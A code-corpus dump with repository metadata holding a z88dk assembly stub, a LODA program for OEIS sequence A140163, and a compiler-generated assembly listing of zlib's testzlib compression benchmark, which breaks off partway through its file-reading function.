; void tshc_cls(uchar attr) SECTION code_clib SECTION code_arch PUBLIC tshc_cls EXTERN asm_tshc_cls defc tshc_cls = asm_tshc_cls ; SDCC bridge for Classic IF __CLASSIC PUBLIC _tshc_cls defc _tshc_cls = tshc_cls ENDIF
12.388889
28
0.811659
d009ec17522ec7ef44bdc28b49599ddf0dc39f40
3,495
asm
Assembly
programs/oeis/140/A140163.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/140/A140163.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/140/A140163.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A140163: a(1)=1, a(n) = a(n-1) + n^5 if n odd, a(n) = a(n-1) + n if n is even. ; 1,3,246,250,3375,3381,20188,20196,79245,79255,240306,240318,611611,611625,1371000,1371016,2790873,2790891,5266990,5267010,9351111,9351133,15787476,15787500,25553125,25553151,39902058,39902086,60413235,60413265,89042416,89042448,128177841,128177875,180699750,180699786,250043743,250043781,340267980,340268020,456124221,456124263,603132706,603132750,787660875,787660921,1017005928,1017005976,1299481225,1299481275,1644506526,1644506578,2062702071,2062702125,2565986500,2565986556,3167678613,3167678671,3882602970,3882603030,4727199331,4727199393,5719635936,5719636000,6879926625,6879926691,8230051798,8230051866,9794083215,9794083285,11598312636,11598312708,13671384301,13671384375,16044431250,16044431326,18751215483,18751215561,21828271960,21828272040,25315056441,25315056523,29254097166,29254097250,33691150375,33691150461,38675359668,38675359756,44259419205,44259419295,50499740746,50499740838,57456624531,57456624625,65194434000,65194434096,73781774353,73781774451,83291674950,83291675050,93801775551,93801775653,105394516396,105394516500,118157332125,118157332231,132182849538,132182849646,147569089195,147569089305,164419670856,164419670968,182844022761,182844022875,202957594750,202957594866,224882075223,224882075341,248745611940,248745612060,274683036661,274683036783,302836093626,302836093750,333353671875,333353672001,366392041408,366392041536,402115093185,402115093315,440694582966,440694583098,482310378991,482310379125,527150713500,527150713636,575412438093,575412438231,627301282930,627301283070,683032119771,683032119913,742829228856,742829229000,806926569625,806926569771,875568055278,875568055426,949007831175,949007831325,1027510557076,1027510557228,1111351693221,1111351693375,1200817790250,1200817790406,1296206782963,1296206783121,1397828287920,1397828288080,1506003904881,1506003905043,1621067522086,1621067522250,1743365625375,1743365625541,1873257611148,1873257611316,2011116103165,2011116103335,2157327273186,2157327273358,2312291165451,2312291165625,2476422025000,2476422025176,2650148629833,2650148630011,2833914626910,2833914627090,3028178871991,3028178872173,3233415773316,3233415773500,3450115639125,3450115639311,3678785029018,3678785029206,3919947109155,3919947109345,4174142011296,4174142011488,4441927195681,4441927195875,4723877817750,4723877817946,5020587098703,5020587098901,5332666699900,5332666700100,5660747101101,5660747101303,6005477982546,6005477982750,6367528610875,6367528611081,6747588228888,6747588229096,7146366449145,7146366449355,7564593651406,7564593651618,8003021383911,8003021384125,8462422768500,8462422768716,8943592909573,8943592909791,9447349306890,9447349307110,9974532272211,9974532272433,10526005349776,10526005350000,11102655740625,11102655740851,11705394730758,11705394730986,12335158123135,12335158123365,12992906673516,12992906673748,13679626530141,13679626530375,14396329677250,14396329677486,15144054382443,15144054382681,15923865647880,15923865648120,16736855665321,16736855665563,17584144275006,17584144275250,18466879428375,18466879428621,19386237654628,19386237654876,20343424531125,20343424531375 mov $2,$0 add $2,1 mov $7,$0 lpb $2,1 mov $0,$7 sub $2,1 sub $0,$2 mov $3,1 add $3,$0 mov $0,1 mov $5,$3 add $5,$4 sub $5,$4 mov $4,$5 lpb $0,1 sub $3,$0 mov $0,4 sub $3,$6 add $0,$3 mod $0,2 mov $3,1 sub $4,1 mov $5,$4 add $5,1 lpe pow $3,4 mul $3,$5 add $1,$3 mov $6,1 lpe
102.794118
3,069
0.858941
75fa563bda7e6f2f8d42c63c718a2077206478cc
34,290
asm
Assembly
+extras/external_libs/zlib/src/zlib-1.2.11/contrib/vstudio/vc14/x86/TestZlibDebug/Tmp/testzlib.asm
dkovari/ExtrasToolbox
b3d79c40e547fc9d994829701c2273ca080f8339
[ "MIT" ]
null
null
null
+extras/external_libs/zlib/src/zlib-1.2.11/contrib/vstudio/vc14/x86/TestZlibDebug/Tmp/testzlib.asm
dkovari/ExtrasToolbox
b3d79c40e547fc9d994829701c2273ca080f8339
[ "MIT" ]
null
null
null
+extras/external_libs/zlib/src/zlib-1.2.11/contrib/vstudio/vc14/x86/TestZlibDebug/Tmp/testzlib.asm
dkovari/ExtrasToolbox
b3d79c40e547fc9d994829701c2273ca080f8339
[ "MIT" ]
null
null
null
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.14.26428.1 TITLE C:\Users\dkovari\Documents\GitHub\ExtrasToolbox\+extras\external_libs\zlib\src\zlib-1.2.11\contrib\testzlib\testzlib.c .686P .XMM include listing.inc .model flat INCLUDELIB MSVCRTD INCLUDELIB OLDNAMES PUBLIC ___local_stdio_printf_options PUBLIC __vfprintf_l PUBLIC _printf PUBLIC _Int64ShrlMod32@12 PUBLIC _MyDoMinus64 PUBLIC _myGetRDTSC32 PUBLIC _BeginCountRdtsc PUBLIC _GetResRdtsc PUBLIC _BeginCountPerfCounter PUBLIC _GetMsecSincePerfCounter PUBLIC _ReadFileMemory PUBLIC _main PUBLIC __real@408f400000000000 PUBLIC __xmm@41f00000000000000000000000000000 EXTRN __imp____acrt_iob_func:PROC EXTRN __imp__fclose:PROC EXTRN __imp__fopen:PROC EXTRN __imp__fread:PROC EXTRN __imp__fseek:PROC EXTRN __imp__ftell:PROC EXTRN __imp____stdio_common_vfprintf:PROC EXTRN __imp__malloc:PROC EXTRN __imp__realloc:PROC EXTRN __imp__atol:PROC EXTRN _memcmp:PROC EXTRN _memset:PROC EXTRN __imp__QueryPerformanceCounter@4:PROC EXTRN __imp__QueryPerformanceFrequency@4:PROC EXTRN __imp__GetTickCount@0:PROC EXTRN _deflate@8:PROC EXTRN _deflateEnd@4:PROC EXTRN _inflate@8:PROC EXTRN _inflateEnd@4:PROC EXTRN _deflateInit_@16:PROC EXTRN _inflateInit_@12:PROC EXTRN __fltused:DWORD _DATA SEGMENT COMM ?_OptionsStorage@?1??__local_stdio_printf_options@@9@9:QWORD ; `__local_stdio_printf_options'::`2'::_OptionsStorage _DATA ENDS ; COMDAT __xmm@41f00000000000000000000000000000 CONST SEGMENT __xmm@41f00000000000000000000000000000 DB 00H, 00H, 00H, 00H, 00H, 00H, 00H DB 00H, 00H, 00H, 00H, 00H, 00H, 00H, 0f0H, 'A' CONST ENDS ; COMDAT __real@408f400000000000 CONST SEGMENT __real@408f400000000000 DQ 0408f400000000000r ; 1000 CONST ENDS _DATA SEGMENT $SG95809 DB 'rb', 00H ORG $+5 $SG95870 DB 'run TestZlib <File> [BlockSizeCompress] [BlockSizeUncomp' DB 'ress] [compres. level]', 0aH, 00H $SG95873 DB 'error reading %s', 0aH, 00H ORG $+2 $SG95874 DB 'file %s read, %u bytes', 0aH, 00H $SG95878 DB '1.2.11', 00H ORG $+1 $SG95879 DB 'total compress size = %u, in %u step', 0aH, 00H ORG $+2 $SG95880 DB 'time = %u msec = %f sec', 0aH, 00H ORG $+3 $SG95881 DB 'defcpr time QP = %u msec = %f sec', 0aH, 00H ORG $+1 $SG95882 DB 'defcpr result rdtsc = %I64x', 0aH, 0aH, 00H ORG $+2 $SG95883 DB '1.2.11', 00H ORG $+1 $SG95884 DB 'total uncompress size = %u, in %u step', 0aH, 00H $SG95885 DB 'time = %u msec = %f sec', 0aH, 00H ORG $+3 $SG95886 DB 'uncpr time QP = %u msec = %f sec', 0aH, 00H ORG $+1 $SG95887 DB 'uncpr result rdtsc = %I64x', 0aH, 0aH, 00H ORG $+2 $SG95890 DB 'compare ok', 0aH, 00H _DATA ENDS ; Function compile flags: /Odtp ; File c:\users\dkovari\documents\github\extrastoolbox\+extras\external_libs\zlib\src\zlib-1.2.11\contrib\testzlib\testzlib.c _TEXT SEGMENT _zcpr$1 = -260 ; size = 56 _zcpr$2 = -204 ; size = 56 _lCompressedSize$ = -148 ; size = 4 _lBufferSizeUncpr$ = -144 ; size = 4 _li_rdtsc$ = -140 ; size = 8 _li_qp$ = -132 ; size = 8 _lBufferSizeCpr$ = -124 ; size = 4 _FilePtr$ = -120 ; size = 4 _UncprPtr$ = -116 ; size = 4 _lSizeUncpr$ = -112 ; size = 4 tv430 = -108 ; size = 4 tv423 = -104 ; size = 4 _ret$3 = -100 ; size = 4 _all_read_before$4 = -96 ; size = 4 _lOrigDone$5 = -92 ; size = 4 tv241 = -88 ; size = 4 tv368 = -84 ; size = 4 tv361 = -80 ; size = 4 _ret$6 = -76 ; size = 4 _all_read_before$7 = -72 ; size = 4 _lOrigDone$8 = -68 ; size = 4 tv153 = -64 ; size = 4 tv150 = -60 ; size = 4 _cprLevel$ = -56 ; size = 4 _dwResRdtsc$ = -52 ; size = 8 _step$9 = -44 ; size = 4 _lSizeCpr$ = -40 ; size = 4 _step$10 = -36 ; size = 4 _lOrigToDo$11 = -32 ; size = 4 _CprPtr$ = -28 ; size = 4 _dwMsecQP$ = -24 ; size = 4 _BlockSizeUncompress$ = -20 ; size = 4 _lOrigToDo$12 = -16 ; size = 4 _BlockSizeCompress$ = -12 ; size = 4 _lFileSize$ = -8 ; size = 4 _dwGetTick$ = -4 ; size = 4 _argc$ = 8 ; size = 4 _argv$ = 12 ; size = 4 _main PROC ; 146 : { push ebp mov ebp, esp sub esp, 260 ; 00000104H ; 147 : int BlockSizeCompress=0x8000; mov DWORD PTR _BlockSizeCompress$[ebp], 32768 ; 00008000H ; 148 : int BlockSizeUncompress=0x8000; mov DWORD PTR _BlockSizeUncompress$[ebp], 32768 ; 00008000H ; 149 : int cprLevel=Z_DEFAULT_COMPRESSION ; mov DWORD PTR _cprLevel$[ebp], -1 ; 150 : long lFileSize; ; 151 : unsigned char* FilePtr; ; 152 : long lBufferSizeCpr; ; 153 : long lBufferSizeUncpr; ; 154 : long lCompressedSize=0; mov DWORD PTR _lCompressedSize$[ebp], 0 ; 155 : unsigned char* CprPtr; ; 156 : unsigned char* UncprPtr; ; 157 : long lSizeCpr,lSizeUncpr; ; 158 : DWORD dwGetTick,dwMsecQP; ; 159 : LARGE_INTEGER li_qp,li_rdtsc,dwResRdtsc; ; 160 : ; 161 : if (argc<=1) cmp DWORD PTR _argc$[ebp], 1 jg SHORT $LN8@main ; 162 : { ; 163 : printf("run TestZlib <File> [BlockSizeCompress] [BlockSizeUncompress] [compres. level]\n"); push OFFSET $SG95870 call _printf add esp, 4 ; 164 : return 0; xor eax, eax jmp $LN1@main $LN8@main: ; 165 : } ; 166 : ; 167 : if (ReadFileMemory(argv[1],&lFileSize,&FilePtr)==0) lea eax, DWORD PTR _FilePtr$[ebp] push eax lea ecx, DWORD PTR _lFileSize$[ebp] push ecx mov edx, 4 shl edx, 0 mov eax, DWORD PTR _argv$[ebp] mov ecx, DWORD PTR [eax+edx] push ecx call _ReadFileMemory add esp, 12 ; 0000000cH test eax, eax jne SHORT $LN9@main ; 168 : { ; 169 : printf("error reading %s\n",argv[1]); mov edx, 4 shl edx, 0 mov eax, DWORD PTR _argv$[ebp] mov ecx, DWORD PTR [eax+edx] push ecx push OFFSET $SG95873 call _printf add esp, 8 ; 170 : return 1; mov eax, 1 jmp $LN1@main ; 171 : } jmp SHORT $LN10@main $LN9@main: ; 172 : else printf("file %s read, %u bytes\n",argv[1],lFileSize); mov edx, DWORD PTR _lFileSize$[ebp] push edx mov eax, 4 shl eax, 0 mov ecx, DWORD PTR _argv$[ebp] mov edx, DWORD PTR [ecx+eax] push edx push OFFSET $SG95874 call _printf add esp, 12 ; 0000000cH $LN10@main: ; 173 : ; 174 : if (argc>=3) cmp DWORD PTR _argc$[ebp], 3 jl SHORT $LN11@main ; 175 : BlockSizeCompress=atol(argv[2]); mov eax, 4 shl eax, 1 mov ecx, DWORD PTR _argv$[ebp] mov edx, DWORD PTR [ecx+eax] push edx call DWORD PTR __imp__atol add esp, 4 mov DWORD PTR _BlockSizeCompress$[ebp], eax $LN11@main: ; 176 : ; 177 : if (argc>=4) cmp DWORD PTR _argc$[ebp], 4 jl SHORT $LN12@main ; 178 : BlockSizeUncompress=atol(argv[3]); mov eax, 4 imul ecx, eax, 3 mov edx, DWORD PTR _argv$[ebp] mov eax, DWORD PTR [edx+ecx] push eax call DWORD PTR __imp__atol add esp, 4 mov DWORD PTR _BlockSizeUncompress$[ebp], eax $LN12@main: ; 179 : ; 180 : if (argc>=5) cmp DWORD PTR _argc$[ebp], 5 jl SHORT $LN13@main ; 181 : cprLevel=(int)atol(argv[4]); mov ecx, 4 shl ecx, 2 mov edx, DWORD PTR _argv$[ebp] mov eax, DWORD PTR [edx+ecx] push eax call DWORD PTR __imp__atol add esp, 4 mov DWORD PTR _cprLevel$[ebp], eax $LN13@main: ; 182 : ; 183 : lBufferSizeCpr = lFileSize + (lFileSize/0x10) + 0x200; mov eax, DWORD PTR _lFileSize$[ebp] cdq and edx, 15 ; 0000000fH add eax, edx sar eax, 4 mov ecx, DWORD PTR _lFileSize$[ebp] lea edx, DWORD PTR [ecx+eax+512] mov DWORD PTR _lBufferSizeCpr$[ebp], edx ; 184 : lBufferSizeUncpr = lBufferSizeCpr; mov eax, DWORD PTR _lBufferSizeCpr$[ebp] mov DWORD PTR _lBufferSizeUncpr$[ebp], eax ; 185 : ; 186 : CprPtr=(unsigned char*)malloc(lBufferSizeCpr + BlockSizeCompress); mov ecx, DWORD PTR _lBufferSizeCpr$[ebp] add ecx, DWORD PTR _BlockSizeCompress$[ebp] push ecx call DWORD PTR __imp__malloc add esp, 4 mov DWORD PTR _CprPtr$[ebp], eax ; 187 : ; 188 : BeginCountPerfCounter(&li_qp,TRUE); push 1 lea edx, DWORD PTR _li_qp$[ebp] push edx call _BeginCountPerfCounter add esp, 8 ; 189 : dwGetTick=GetTickCount(); call DWORD PTR __imp__GetTickCount@0 mov DWORD PTR _dwGetTick$[ebp], eax ; 190 : BeginCountRdtsc(&li_rdtsc); lea eax, DWORD PTR _li_rdtsc$[ebp] push eax call _BeginCountRdtsc add esp, 4 ; 191 : { ; 192 : z_stream zcpr; ; 193 : int ret=Z_OK; mov DWORD PTR _ret$6[ebp], 0 ; 194 : long lOrigToDo = lFileSize; mov ecx, DWORD PTR _lFileSize$[ebp] mov DWORD PTR _lOrigToDo$12[ebp], ecx ; 195 : long lOrigDone = 0; mov DWORD PTR _lOrigDone$8[ebp], 0 ; 196 : int step=0; mov DWORD PTR _step$10[ebp], 0 ; 197 : memset(&zcpr,0,sizeof(z_stream)); push 56 ; 00000038H push 0 lea edx, DWORD PTR _zcpr$2[ebp] push edx call _memset add esp, 12 ; 0000000cH ; 198 : deflateInit(&zcpr,cprLevel); push 56 ; 00000038H push OFFSET $SG95878 mov eax, DWORD PTR _cprLevel$[ebp] push eax lea ecx, DWORD PTR _zcpr$2[ebp] push ecx call _deflateInit_@16 ; 199 : ; 200 : zcpr.next_in = FilePtr; mov edx, DWORD PTR _FilePtr$[ebp] mov DWORD PTR _zcpr$2[ebp], edx ; 201 : zcpr.next_out = CprPtr; mov eax, DWORD PTR _CprPtr$[ebp] mov DWORD PTR _zcpr$2[ebp+12], eax $LN4@main: ; 202 : ; 203 : ; 204 : do ; 205 : { ; 206 : long all_read_before = zcpr.total_in; mov ecx, DWORD PTR _zcpr$2[ebp+8] mov DWORD PTR _all_read_before$7[ebp], ecx ; 207 : zcpr.avail_in = min(lOrigToDo,BlockSizeCompress); mov edx, DWORD PTR _lOrigToDo$12[ebp] cmp edx, DWORD PTR _BlockSizeCompress$[ebp] jge SHORT $LN17@main mov eax, DWORD PTR _lOrigToDo$12[ebp] mov DWORD PTR tv150[ebp], eax jmp SHORT $LN18@main $LN17@main: mov ecx, DWORD PTR _BlockSizeCompress$[ebp] mov DWORD PTR tv150[ebp], ecx $LN18@main: mov edx, DWORD PTR tv150[ebp] mov DWORD PTR _zcpr$2[ebp+4], edx ; 208 : zcpr.avail_out = BlockSizeCompress; mov eax, DWORD PTR _BlockSizeCompress$[ebp] mov DWORD PTR _zcpr$2[ebp+16], eax ; 209 : ret=deflate(&zcpr,(zcpr.avail_in==lOrigToDo) ? Z_FINISH : Z_SYNC_FLUSH); mov ecx, DWORD PTR _zcpr$2[ebp+4] cmp ecx, DWORD PTR _lOrigToDo$12[ebp] jne SHORT $LN19@main mov DWORD PTR tv153[ebp], 4 jmp SHORT $LN20@main $LN19@main: mov DWORD PTR tv153[ebp], 2 $LN20@main: mov edx, DWORD PTR tv153[ebp] push edx lea eax, DWORD PTR _zcpr$2[ebp] push eax call _deflate@8 mov DWORD PTR _ret$6[ebp], eax ; 210 : lOrigDone += (zcpr.total_in-all_read_before); mov ecx, DWORD PTR _zcpr$2[ebp+8] sub ecx, DWORD PTR _all_read_before$7[ebp] add ecx, DWORD PTR _lOrigDone$8[ebp] mov DWORD PTR _lOrigDone$8[ebp], ecx ; 211 : lOrigToDo -= (zcpr.total_in-all_read_before); mov edx, DWORD PTR _zcpr$2[ebp+8] sub edx, DWORD PTR _all_read_before$7[ebp] mov eax, DWORD PTR _lOrigToDo$12[ebp] sub eax, edx mov DWORD PTR _lOrigToDo$12[ebp], eax ; 212 : step++; mov ecx, DWORD PTR _step$10[ebp] add ecx, 1 mov DWORD PTR _step$10[ebp], ecx ; 213 : } while (ret==Z_OK); cmp DWORD PTR _ret$6[ebp], 0 je $LN4@main ; 214 : ; 215 : lSizeCpr=zcpr.total_out; mov edx, DWORD PTR _zcpr$2[ebp+20] mov DWORD PTR _lSizeCpr$[ebp], edx ; 216 : deflateEnd(&zcpr); lea eax, DWORD PTR _zcpr$2[ebp] push eax call _deflateEnd@4 ; 217 : dwGetTick=GetTickCount()-dwGetTick; call DWORD PTR __imp__GetTickCount@0 sub eax, DWORD PTR _dwGetTick$[ebp] mov DWORD PTR _dwGetTick$[ebp], eax ; 218 : dwMsecQP=GetMsecSincePerfCounter(li_qp,TRUE); push 1 mov ecx, DWORD PTR _li_qp$[ebp+4] push ecx mov edx, DWORD PTR _li_qp$[ebp] push edx call _GetMsecSincePerfCounter add esp, 12 ; 0000000cH mov DWORD PTR _dwMsecQP$[ebp], eax ; 219 : dwResRdtsc=GetResRdtsc(li_rdtsc,TRUE); push 1 mov eax, DWORD PTR _li_rdtsc$[ebp+4] push eax mov ecx, DWORD PTR _li_rdtsc$[ebp] push ecx call _GetResRdtsc add esp, 12 ; 0000000cH mov DWORD PTR _dwResRdtsc$[ebp], eax mov DWORD PTR _dwResRdtsc$[ebp+4], edx ; 220 : printf("total compress size = %u, in %u step\n",lSizeCpr,step); mov edx, DWORD PTR _step$10[ebp] push edx mov eax, DWORD PTR _lSizeCpr$[ebp] push eax push OFFSET $SG95879 call _printf add esp, 12 ; 0000000cH ; 221 : printf("time = %u msec = %f sec\n",dwGetTick,dwGetTick/(double)1000.); mov ecx, DWORD PTR _dwGetTick$[ebp] mov DWORD PTR tv361[ebp], ecx cvtsi2sd xmm0, DWORD PTR tv361[ebp] mov edx, DWORD PTR tv361[ebp] shr edx, 31 ; 0000001fH addsd xmm0, QWORD PTR __xmm@41f00000000000000000000000000000[edx*8] divsd xmm0, QWORD PTR __real@408f400000000000 sub esp, 8 movsd QWORD PTR [esp], xmm0 mov eax, DWORD PTR _dwGetTick$[ebp] push eax push OFFSET $SG95880 call _printf add esp, 16 ; 00000010H ; 222 : printf("defcpr time QP = %u msec = %f sec\n",dwMsecQP,dwMsecQP/(double)1000.); mov ecx, DWORD PTR _dwMsecQP$[ebp] mov DWORD PTR tv368[ebp], ecx cvtsi2sd xmm0, DWORD PTR tv368[ebp] mov edx, DWORD PTR tv368[ebp] shr edx, 31 ; 0000001fH addsd xmm0, QWORD PTR __xmm@41f00000000000000000000000000000[edx*8] divsd xmm0, QWORD PTR __real@408f400000000000 sub esp, 8 movsd QWORD PTR [esp], xmm0 mov eax, DWORD PTR _dwMsecQP$[ebp] push eax push OFFSET $SG95881 call _printf add esp, 16 ; 00000010H ; 223 : printf("defcpr result rdtsc = %I64x\n\n",dwResRdtsc.QuadPart); mov ecx, DWORD PTR _dwResRdtsc$[ebp+4] push ecx mov edx, DWORD PTR _dwResRdtsc$[ebp] push edx push OFFSET $SG95882 call _printf add esp, 12 ; 0000000cH ; 224 : } ; 225 : ; 226 : CprPtr=(unsigned char*)realloc(CprPtr,lSizeCpr); mov eax, DWORD PTR _lSizeCpr$[ebp] push eax mov ecx, DWORD PTR _CprPtr$[ebp] push ecx call DWORD PTR __imp__realloc add esp, 8 mov DWORD PTR _CprPtr$[ebp], eax ; 227 : UncprPtr=(unsigned char*)malloc(lBufferSizeUncpr + BlockSizeUncompress); mov edx, DWORD PTR _lBufferSizeUncpr$[ebp] add edx, DWORD PTR _BlockSizeUncompress$[ebp] push edx call DWORD PTR __imp__malloc add esp, 4 mov DWORD PTR _UncprPtr$[ebp], eax ; 228 : ; 229 : BeginCountPerfCounter(&li_qp,TRUE); push 1 lea eax, DWORD PTR _li_qp$[ebp] push eax call _BeginCountPerfCounter add esp, 8 ; 230 : dwGetTick=GetTickCount(); call DWORD PTR __imp__GetTickCount@0 mov DWORD PTR _dwGetTick$[ebp], eax ; 231 : BeginCountRdtsc(&li_rdtsc); lea ecx, DWORD PTR _li_rdtsc$[ebp] push ecx call _BeginCountRdtsc add esp, 4 ; 232 : { ; 233 : z_stream zcpr; ; 234 : int ret=Z_OK; mov DWORD PTR _ret$3[ebp], 0 ; 235 : long lOrigToDo = lSizeCpr; mov edx, DWORD PTR _lSizeCpr$[ebp] mov DWORD PTR _lOrigToDo$11[ebp], edx ; 236 : long lOrigDone = 0; mov DWORD PTR _lOrigDone$5[ebp], 0 ; 237 : int step=0; mov DWORD PTR _step$9[ebp], 0 ; 238 : memset(&zcpr,0,sizeof(z_stream)); push 56 ; 00000038H push 0 lea eax, DWORD PTR _zcpr$1[ebp] push eax call _memset add esp, 12 ; 0000000cH ; 239 : inflateInit(&zcpr); push 56 ; 00000038H push OFFSET $SG95883 lea ecx, DWORD PTR _zcpr$1[ebp] push ecx call _inflateInit_@12 ; 240 : ; 241 : zcpr.next_in = CprPtr; mov edx, DWORD PTR _CprPtr$[ebp] mov DWORD PTR _zcpr$1[ebp], edx ; 242 : zcpr.next_out = UncprPtr; mov eax, DWORD PTR _UncprPtr$[ebp] mov DWORD PTR _zcpr$1[ebp+12], eax $LN7@main: ; 243 : ; 244 : ; 245 : do ; 246 : { ; 247 : long all_read_before = zcpr.total_in; mov ecx, DWORD PTR _zcpr$1[ebp+8] mov DWORD PTR _all_read_before$4[ebp], ecx ; 248 : zcpr.avail_in = min(lOrigToDo,BlockSizeUncompress); mov edx, DWORD PTR _lOrigToDo$11[ebp] cmp edx, DWORD PTR _BlockSizeUncompress$[ebp] jge SHORT $LN21@main mov eax, DWORD PTR _lOrigToDo$11[ebp] mov DWORD PTR tv241[ebp], eax jmp SHORT $LN22@main $LN21@main: mov ecx, DWORD PTR _BlockSizeUncompress$[ebp] mov DWORD PTR tv241[ebp], ecx $LN22@main: mov edx, DWORD PTR tv241[ebp] mov DWORD PTR _zcpr$1[ebp+4], edx ; 249 : zcpr.avail_out = BlockSizeUncompress; mov eax, DWORD PTR _BlockSizeUncompress$[ebp] mov DWORD PTR _zcpr$1[ebp+16], eax ; 250 : ret=inflate(&zcpr,Z_SYNC_FLUSH); push 2 lea ecx, DWORD PTR _zcpr$1[ebp] push ecx call _inflate@8 mov DWORD PTR _ret$3[ebp], eax ; 251 : lOrigDone += (zcpr.total_in-all_read_before); mov edx, DWORD PTR _zcpr$1[ebp+8] sub edx, DWORD PTR _all_read_before$4[ebp] add edx, DWORD PTR _lOrigDone$5[ebp] mov DWORD PTR _lOrigDone$5[ebp], edx ; 252 : lOrigToDo -= (zcpr.total_in-all_read_before); mov eax, DWORD PTR _zcpr$1[ebp+8] sub eax, DWORD PTR _all_read_before$4[ebp] mov ecx, DWORD PTR _lOrigToDo$11[ebp] sub ecx, eax mov DWORD PTR _lOrigToDo$11[ebp], ecx ; 253 : step++; mov edx, DWORD PTR _step$9[ebp] add edx, 1 mov DWORD PTR _step$9[ebp], edx ; 254 : } while (ret==Z_OK); cmp DWORD PTR _ret$3[ebp], 0 je SHORT $LN7@main ; 255 : ; 256 : lSizeUncpr=zcpr.total_out; mov eax, DWORD PTR _zcpr$1[ebp+20] mov DWORD PTR _lSizeUncpr$[ebp], eax ; 257 : inflateEnd(&zcpr); lea ecx, DWORD PTR _zcpr$1[ebp] push ecx call _inflateEnd@4 ; 258 : dwGetTick=GetTickCount()-dwGetTick; call DWORD PTR __imp__GetTickCount@0 sub eax, DWORD PTR _dwGetTick$[ebp] mov DWORD PTR _dwGetTick$[ebp], eax ; 259 : dwMsecQP=GetMsecSincePerfCounter(li_qp,TRUE); push 1 mov edx, DWORD PTR _li_qp$[ebp+4] push edx mov eax, DWORD PTR _li_qp$[ebp] push eax call _GetMsecSincePerfCounter add esp, 12 ; 0000000cH mov DWORD PTR _dwMsecQP$[ebp], eax ; 260 : dwResRdtsc=GetResRdtsc(li_rdtsc,TRUE); push 1 mov ecx, DWORD PTR _li_rdtsc$[ebp+4] push ecx mov edx, DWORD PTR _li_rdtsc$[ebp] push edx call _GetResRdtsc add esp, 12 ; 0000000cH mov DWORD PTR _dwResRdtsc$[ebp], eax mov DWORD PTR _dwResRdtsc$[ebp+4], edx ; 261 : printf("total uncompress size = %u, in %u step\n",lSizeUncpr,step); mov eax, DWORD PTR _step$9[ebp] push eax mov ecx, DWORD PTR _lSizeUncpr$[ebp] push ecx push OFFSET $SG95884 call _printf add esp, 12 ; 0000000cH ; 262 : printf("time = %u msec = %f sec\n",dwGetTick,dwGetTick/(double)1000.); mov edx, DWORD PTR _dwGetTick$[ebp] mov DWORD PTR tv423[ebp], edx cvtsi2sd xmm0, DWORD PTR tv423[ebp] mov eax, DWORD PTR tv423[ebp] shr eax, 31 ; 0000001fH addsd xmm0, QWORD PTR __xmm@41f00000000000000000000000000000[eax*8] divsd xmm0, QWORD PTR __real@408f400000000000 sub esp, 8 movsd QWORD PTR [esp], xmm0 mov ecx, DWORD PTR _dwGetTick$[ebp] push ecx push OFFSET $SG95885 call _printf add esp, 16 ; 00000010H ; 263 : printf("uncpr time QP = %u msec = %f sec\n",dwMsecQP,dwMsecQP/(double)1000.); mov edx, DWORD PTR _dwMsecQP$[ebp] mov DWORD PTR tv430[ebp], edx cvtsi2sd xmm0, DWORD PTR tv430[ebp] mov eax, DWORD PTR tv430[ebp] shr eax, 31 ; 0000001fH addsd xmm0, QWORD PTR __xmm@41f00000000000000000000000000000[eax*8] divsd xmm0, QWORD PTR __real@408f400000000000 sub esp, 8 movsd QWORD PTR [esp], xmm0 mov ecx, DWORD PTR _dwMsecQP$[ebp] push ecx push OFFSET $SG95886 call _printf add esp, 16 ; 00000010H ; 264 : printf("uncpr result rdtsc = %I64x\n\n",dwResRdtsc.QuadPart); mov edx, DWORD PTR _dwResRdtsc$[ebp+4] push edx mov eax, DWORD PTR _dwResRdtsc$[ebp] push eax push OFFSET $SG95887 call _printf add esp, 12 ; 0000000cH ; 265 : } ; 266 : ; 267 : if (lSizeUncpr==lFileSize) mov ecx, DWORD PTR _lSizeUncpr$[ebp] cmp ecx, DWORD PTR _lFileSize$[ebp] jne SHORT $LN15@main ; 268 : { ; 269 : if (memcmp(FilePtr,UncprPtr,lFileSize)==0) mov edx, DWORD PTR _lFileSize$[ebp] push edx mov eax, DWORD PTR _UncprPtr$[ebp] push eax mov ecx, DWORD PTR _FilePtr$[ebp] push ecx call _memcmp add esp, 12 ; 0000000cH test eax, eax jne SHORT $LN15@main ; 270 : printf("compare ok\n"); push OFFSET $SG95890 call _printf add esp, 4 $LN15@main: ; 271 : ; 272 : } ; 273 : ; 274 : return 0; xor eax, eax $LN1@main: ; 275 : } mov esp, ebp pop ebp ret 0 _main ENDP _TEXT ENDS ; Function compile flags: /Odtp ; File c:\users\dkovari\documents\github\extrastoolbox\+extras\external_libs\zlib\src\zlib-1.2.11\contrib\testzlib\testzlib.c _TEXT SEGMENT _retVal$ = -12 ; size = 4 _ptr$ = -8 ; size = 4 _stream$ = -4 ; size = 4 _filename$ = 8 ; size = 4 _plFileSize$ = 12 ; size = 4 _pFilePtr$ = 16 ; size = 4 _ReadFileMemory PROC ; 120 : { push ebp mov ebp, esp sub esp, 12 ; 0000000cH ; 121 : FILE* stream; ; 122 : unsigned char* ptr; ; 123 : int retVal=1; mov DWORD PTR _retVal$[ebp], 1 ; 124 : stream=fopen(filename, "rb"); push OFFSET $SG95809 mov eax, DWORD PTR _filename$[ebp] push eax call DWORD PTR __imp__fopen add esp, 8 mov DWORD PTR _stream$[ebp], eax ; 125 : if (stream==NULL) cmp DWORD PTR _stream$[ebp], 0 jne SHORT $LN2@ReadFileMe ; 126 : return 0; xor eax, eax jmp $LN1@ReadFileMe $LN2@ReadFileMe: ; 127 : ; 128 : fseek(stream,0,SEEK_END); push 2 push 0 mov ecx, DWORD PTR _stream$[ebp] push ecx call DWORD PTR __imp__fseek add esp, 12 ; 0000000cH ; 129 : ; 130 : *plFileSize=ftell(stream); mov edx, DWORD PTR _stream$[ebp] push edx call DWORD PTR __imp__ftell add esp, 4 mov ecx, DWORD PTR _plFileSize$[ebp] mov DWORD PTR [ecx], eax ; 131 : fseek(stream,0,SEEK_SET); push 0 push 0 mov edx, DWORD PTR _stream$[ebp] push edx call DWORD PTR __imp__fseek add esp, 12 ; 0000000cH ; 132 : ptr=malloc((*plFileSize)+1); mov eax, DWORD PTR _plFileSize$[ebp] mov ecx, DWORD PTR [eax] add ecx, 1 push ecx call 